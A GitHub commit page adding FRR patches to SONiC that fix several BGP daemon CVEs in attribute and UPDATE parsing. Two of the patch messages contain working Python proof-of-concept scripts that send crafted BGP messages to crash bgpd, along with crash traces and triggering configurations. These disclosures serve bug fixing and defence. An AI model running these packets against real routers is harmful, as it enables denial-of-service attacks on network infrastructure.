Skip to content

Commit

Permalink
[FRR]Fixing CVEs CVE-2023-46752 CVE-2023-46753 CVE-2023-47234 CVE-202…
Browse files Browse the repository at this point in the history 
…3-47235
  • Loading branch information
@dgsudharsan
dgsudharsan committed Nov 23, 2023
1 parent 4156cef commit f70f633
Show file tree
Hide file tree
Showing 5 changed files with 428 additions and 0 deletions.
112 changes: 112 additions & 0 deletions src/sonic-frr/patch/0029-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
From fcc818160be57a1304481402c08962454e1dee5b Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <[email protected]>
Date: Mon, 23 Oct 2023 23:34:10 +0300
Subject: [PATCH 1/4] bgpd: Check mandatory attributes more carefully for
UPDATE message

If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.

A crash:

```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```

Sending:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```

Reported-by: Iggy Frankovic <[email protected]>
Signed-off-by: Donatas Abraitis <[email protected]>
(cherry picked from commit d8482bf011cb2b173e85b65b4bf3d5061250cdb9)

diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index ee20da3326..3a2d93ccd9 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3429,13 +3429,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args)
}

/* Well-known attribute check. */
-static int bgp_attr_check(struct peer *peer, struct attr *attr)
+static int bgp_attr_check(struct peer *peer, struct attr *attr,
+ bgp_size_t length)
{
uint8_t type = 0;

/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
* empty UPDATE. */
- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
+ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
+ !length)
return BGP_ATTR_PARSE_PROCEED;

/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
@@ -3487,7 +3489,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
enum bgp_attr_parse_ret ret;
uint8_t flag = 0;
uint8_t type = 0;
- bgp_size_t length;
+ bgp_size_t length = 0;
uint8_t *startp, *endp;
uint8_t *attr_endp;
uint8_t seen[BGP_ATTR_BITMAP_SIZE];
@@ -3812,7 +3814,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
}

/* Check all mandatory well-known attributes are present */
- ret = bgp_attr_check(peer, attr);
+ ret = bgp_attr_check(peer, attr, length);
if (ret < 0)
goto done;

--
2.17.1

118 changes: 118 additions & 0 deletions src/sonic-frr/patch/0030-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
From 971f8684efceb2453accc5dcb5cbd8e4266c906d Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <[email protected]>
Date: Fri, 20 Oct 2023 17:49:18 +0300
Subject: [PATCH 2/4] bgpd: Handle MP_REACH_NLRI malformed packets with session
reset

Avoid crashing bgpd.

```
(gdb)
bgp_mp_reach_parse (args=<optimized out>, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341
2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN);
(gdb)
stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320
320 {
(gdb)
321 STREAM_VERIFY_SANE(s);
(gdb)
323 if (STREAM_READABLE(s) < size) {
(gdb)
34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));
(gdb)

Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault.
0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050,
object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282
2282 if (path->attr->aspath->refcnt)
(gdb)
```

With the configuration:

```
neighbor 127.0.0.1 remote-as external
neighbor 127.0.0.1 passive
neighbor 127.0.0.1 ebgp-multihop
neighbor 127.0.0.1 disable-connected-check
neighbor 127.0.0.1 update-source 127.0.0.2
neighbor 127.0.0.1 timers 3 90
neighbor 127.0.0.1 timers connect 1
address-family ipv4 unicast
redistribute connected
neighbor 127.0.0.1 default-originate
neighbor 127.0.0.1 route-map RM_IN in
exit-address-family
!
route-map RM_IN permit 10
set as-path prepend 200
exit
```

Reported-by: Iggy Frankovic <[email protected]>
Signed-off-by: Donatas Abraitis <[email protected]>
(cherry picked from commit b08afc81c60607a4f736f418f2e3eb06087f1a35)

diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index 3a2d93ccd9..a3fee07058 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -2418,7 +2418,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args,

mp_update->afi = afi;
mp_update->safi = safi;
- return BGP_ATTR_PARSE_EOR;
+ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0);
}

mp_update->afi = afi;
@@ -3739,10 +3739,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
goto done;
}

- if (ret == BGP_ATTR_PARSE_EOR) {
- goto done;
- }
-
if (ret == BGP_ATTR_PARSE_ERROR) {
flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR,
"%s: Attribute %s, parse error", peer->host,
diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
index 33283f4bf6..ba8d4fc735 100644
--- a/bgpd/bgp_attr.h
+++ b/bgpd/bgp_attr.h
@@ -379,7 +379,6 @@ enum bgp_attr_parse_ret {
/* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR
*/
BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
- BGP_ATTR_PARSE_EOR = -4,
};

struct bpacket_attr_vec_arr;
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
index a02d548941..5e0312a72d 100644
--- a/bgpd/bgp_packet.c
+++ b/bgpd/bgp_packet.c
@@ -2060,8 +2060,7 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
* Non-MP IPv4/Unicast EoR is a completely empty UPDATE
* and MP EoR should have only an empty MP_UNREACH
*/
- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0)
- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) {
+ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) {
afi_t afi = 0;
safi_t safi;
struct graceful_restart_info *gr_info;
@@ -2082,9 +2081,6 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
&& nlris[NLRI_MP_WITHDRAW].length == 0) {
afi = nlris[NLRI_MP_WITHDRAW].afi;
safi = nlris[NLRI_MP_WITHDRAW].safi;
- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) {
- afi = nlris[NLRI_MP_UPDATE].afi;
- safi = nlris[NLRI_MP_UPDATE].safi;
}

if (afi && peer->afc[afi][safi]) {
--
2.17.1

106 changes: 106 additions & 0 deletions src/sonic-frr/patch/0031-bgpd-Treat-EOR-as-withdrawn-to-avoid-unwanted-handli.patch
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
From 621f2efd64b305e96bb2941110e93bfbe5f9eda2 Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <[email protected]>
Date: Fri, 27 Oct 2023 11:56:45 +0300
Subject: [PATCH 3/4] bgpd: Treat EOR as withdrawn to avoid unwanted handling
of malformed attrs

Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:

```
router bgp 65001
no bgp ebgp-requires-policy
neighbor 127.0.0.1 remote-as external
neighbor 127.0.0.1 passive
neighbor 127.0.0.1 ebgp-multihop
neighbor 127.0.0.1 disable-connected-check
neighbor 127.0.0.1 update-source 127.0.0.2
neighbor 127.0.0.1 timers 3 90
neighbor 127.0.0.1 timers connect 1
!
address-family ipv4 unicast
neighbor 127.0.0.1 addpath-tx-all-paths
neighbor 127.0.0.1 default-originate
neighbor 127.0.0.1 route-map RM_IN in
exit-address-family
exit
!
route-map RM_IN permit 10
set as-path prepend 200
exit
```

Send a malformed optional transitive attribute:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```

Reported-by: Iggy Frankovic <[email protected]>
Signed-off-by: Donatas Abraitis <[email protected]>

diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index a3fee07058..bdf078e7c8 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3435,10 +3435,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
uint8_t type = 0;

/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
- * empty UPDATE. */
+ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
+ * we will pass it to be processed as a normal UPDATE without mandatory
+ * attributes, that could lead to harmful behavior.
+ */
if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
!length)
- return BGP_ATTR_PARSE_PROCEED;
+ return BGP_ATTR_PARSE_WITHDRAW;

/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
@@ -3866,7 +3869,13 @@ done:
aspath_unintern(&as4_path);

transit = bgp_attr_get_transit(attr);
- if (ret != BGP_ATTR_PARSE_ERROR) {
+ /* If we received an UPDATE with mandatory attributes, then
+ * the unrecognized transitive optional attribute of that
+ * path MUST be passed. Otherwise, it's an error, and from
+ * security perspective it might be very harmful if we continue
+ * here with the unrecognized attributes.
+ */
+ if (ret == BGP_ATTR_PARSE_PROCEED) {
/* Finally intern unknown attribute. */
if (transit)
bgp_attr_set_transit(attr, transit_intern(transit));
--
2.17.1

Loading

0 comments on commit f70f633

Please sign in to comment.